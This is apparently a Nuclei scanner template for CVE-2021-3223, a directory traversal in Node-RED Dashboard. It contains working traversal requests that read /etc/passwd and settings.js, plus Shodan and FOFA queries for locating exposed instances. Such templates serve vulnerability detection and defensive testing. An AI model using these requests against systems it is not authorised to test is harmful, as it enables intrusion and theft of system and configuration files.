nuclei-templates/cves/2021/CVE-2021-3223.yaml

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id: CVE-2021-3223
info:
name: Node RED Dashboard - Directory Traversal
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author: gy741,pikpikcu
severity: high
description: Node-RED-Dashboard before 2.26.2 allows ui_base/js/..%2f directory traversal to read files.
reference:
- https://github.com/node-red/node-red-dashboard/issues/669
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223
- https://github.com/node-red/node-red-dashboard/releases/tag/2.26.2
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-3223
cwe-id: CWE-22
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metadata:
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verified: true
shodan-query: title:"Node-RED"
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fofa-query: title="Node-RED"
tags: cve,cve2020,node-red-dashboard,lfi
requests:
- method: GET
path:
- '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd'
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- '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js'
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matchers-condition: or
matchers:
- type: regex
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part: body
regex:
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- "root:.*:0:0:"
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- type: word
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part: body
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words:
- "Node-RED web server is listening"